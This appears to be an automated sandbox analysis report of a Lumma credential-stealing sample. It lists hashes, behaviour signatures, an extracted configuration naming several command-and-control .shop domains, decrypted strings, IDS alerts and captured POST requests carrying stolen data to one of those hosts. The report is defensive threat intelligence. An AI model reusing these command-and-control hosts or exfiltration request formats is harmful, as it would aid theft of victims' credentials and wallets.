Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1435406
MD5:	7e37f8c945d005226870e60aa2baea93
SHA1:	d8a457a032ead8cc0d692efd497914e8cc69e8a4
SHA256:	d130f492c40697a34e2d1e7b1e9a5e3ba37c7f6b4271271fba6b5c1e9048af8b
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected LummaC Stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 420 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7E37F8C945D005226870E60AA2BAEA93)

BitLockerToGo.exe (PID: 7060 cmdline: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "shatterbreathepsw.shop"], "Build id": "xpsGVF--GEIROPA"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000003.2397981986.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000003.2389056869.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000003.2483917008.0000000002EAF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2532039828.0000000002EAF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2354687188.000000C000326000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000005.00000003.2483286988.0000000002EAE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000003.2531513795.0000000002EAE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7060	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7060	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7060	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 6 entries

Snort Signatures

ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 104.21.95.19

Timestamp:	05/02/24-17:04:31.224285
SID:	2052224
Source Port:	49722
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 104.21.95.19

Timestamp:	05/02/24-17:04:21.147175
SID:	2052224
Source Port:	49718
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (shatterbreathepsw .shop) - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	05/02/24-17:04:21.035950
SID:	2052217
Source Port:	51308
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 104.21.95.19

Timestamp:	05/02/24-17:04:22.766689
SID:	2052224
Source Port:	49719
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 104.21.95.19

Timestamp:	05/02/24-17:04:32.059166
SID:	2052224
Source Port:	49723
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 104.21.95.19

Timestamp:	05/02/24-17:04:34.127001
SID:	2052224
Source Port:	49726
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 104.21.95.19

Timestamp:	05/02/24-17:04:24.741485
SID:	2052224
Source Port:	49720
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 104.21.95.19

Timestamp:	05/02/24-17:04:32.842406
SID:	2052224
Source Port:	49724
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 104.21.95.19

Timestamp:	05/02/24-17:04:25.682174
SID:	2052224
Source Port:	49721
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://shatterbreathepsw.shop:443/api	Avira URL Cloud: Label: malware
Source: https://shatterbreathepsw.shop/api	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.3.file.exe.c00047c000.1.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "shatterbreathepsw.shop"], "Build id": "xpsGVF--GEIROPA"}

Multi AV Scanner detection for domain / URL

Source: shatterbreathepsw.shop	Virustotal: Detection: 17%	Perma Link
Source: tolerateilusidjukl.shop	Virustotal: Detection: 14%	Perma Link
Source: shortsvelventysjo.shop	Virustotal: Detection: 19%	Perma Link
Source: https://shatterbreathepsw.shop:443/api	Virustotal: Detection: 19%	Perma Link
Source: shatterbreathepsw.shop	Virustotal: Detection: 17%	Perma Link
Source: demonstationfukewko.shop	Virustotal: Detection: 20%	Perma Link
Source: https://shatterbreathepsw.shop/0	Virustotal: Detection: 15%	Perma Link
Source: https://shatterbreathepsw.shop/apiT	Virustotal: Detection: 16%	Perma Link
Source: productivelookewr.shop	Virustotal: Detection: 16%	Perma Link
Source: incredibleextedwj.shop	Virustotal: Detection: 14%	Perma Link
Source: liabilitynighstjsko.shop	Virustotal: Detection: 17%	Perma Link
Source: alcojoldwograpciw.shop	Virustotal: Detection: 20%	Perma Link
Source: https://shatterbreathepsw.shop/api	Virustotal: Detection: 19%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 37%			Perma Link

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: productivelookewr.shop
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: xpsGVF--GEIROPA

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_02D05977 CryptUnprotectData,

5_2_02D05977

Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.19:443 -> 192.168.2.6:49726 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: file.exe, 00000000.00000002.2354687188.000000C0002EC000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354687188.000000C0001D7000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354687188.000000C000212000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.2342735024.000001E6FBA50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: file.exe, 00000000.00000002.2354687188.000000C0002EC000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354687188.000000C0001D7000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354687188.000000C000212000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.2342735024.000001E6FBA50000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+20h]	5_2_02D10352
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esi+08h]	5_2_02D0D343
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	5_2_02D0633E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 73CEF4DDh	5_2_02D291A2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	5_2_02D07AE2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, eax	5_2_02CF4BB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	5_2_02CFAB00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea eax, dword ptr [esp+00000084h]	5_2_02D05977
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+10h]	5_2_02CF9E70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+08h]	5_2_02CF9E70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	5_2_02D13FD5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 18DC7455h	5_2_02D26CF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	5_2_02D05D07
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	5_2_02D012DF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+20h]	5_2_02D012DF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 73CEF4DDh	5_2_02D292A1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+edx], 0000h	5_2_02D0727D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7A1A689Fh	5_2_02D27220
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [eax+ecx], 00000000h	5_2_02D153B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_02D133B9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000534h]	5_2_02D163BC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	5_2_02D2934E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000534h]	5_2_02D16312
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	5_2_02D230D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	5_2_02D0A000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, eax	5_2_02CF31D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_02D121A3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_02D1515A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 5C3924FCh	5_2_02D27110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_02D01114
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	5_2_02D026D2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000090h]	5_2_02D186C5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [ebx+eax+01h], 00000000h	5_2_02D136F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_02D2A6E8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000090h]	5_2_02D16644
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000090h]	5_2_02D16647
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	5_2_02CF2610
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp]	5_2_02D27620
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	5_2_02D017DE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	5_2_02D117EE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esi+20h]	5_2_02D047A1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_02D2A720
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, eax	5_2_02CF64E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000534h]	5_2_02D162C8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 0AB35B01h	5_2_02D03B97
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_02D068DD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_02D068F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	5_2_02D13880
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000090h]	5_2_02D15F0E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [eax], cl	5_2_02D06983
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [eax], cl	5_2_02D06983
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea ebx, dword ptr [edi+ecx]	5_2_02D11FA1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+60h]	5_2_02D14F56
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	5_2_02D15F13
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_02D11CC6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp edx	5_2_02D0CCF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then inc ebx	5_2_02D04C00

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2052217 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (shatterbreathepsw .shop) 192.168.2.6:51308 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052224 ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) 192.168.2.6:49718 -> 104.21.95.19:443
Source: Traffic	Snort IDS: 2052224 ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) 192.168.2.6:49719 -> 104.21.95.19:443
Source: Traffic	Snort IDS: 2052224 ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) 192.168.2.6:49720 -> 104.21.95.19:443
Source: Traffic	Snort IDS: 2052224 ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) 192.168.2.6:49721 -> 104.21.95.19:443
Source: Traffic	Snort IDS: 2052224 ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) 192.168.2.6:49722 -> 104.21.95.19:443
Source: Traffic	Snort IDS: 2052224 ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) 192.168.2.6:49723 -> 104.21.95.19:443
Source: Traffic	Snort IDS: 2052224 ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) 192.168.2.6:49724 -> 104.21.95.19:443
Source: Traffic	Snort IDS: 2052224 ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI) 192.168.2.6:49726 -> 104.21.95.19:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: shatterbreathepsw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 56Host: shatterbreathepsw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12861Host: shatterbreathepsw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15107Host: shatterbreathepsw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19965Host: shatterbreathepsw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3802Host: shatterbreathepsw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1365Host: shatterbreathepsw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 556486Host: shatterbreathepsw.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: shatterbreathepsw.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: shatterbreathepsw.shop

Source: file.exe	String found in binary or memory: http://.css
Source: file.exe	String found in binary or memory: http://.jpg
Source: BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000005.00000003.2421315426.000000000526D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe	String found in binary or memory: http://html4/loose.dtd
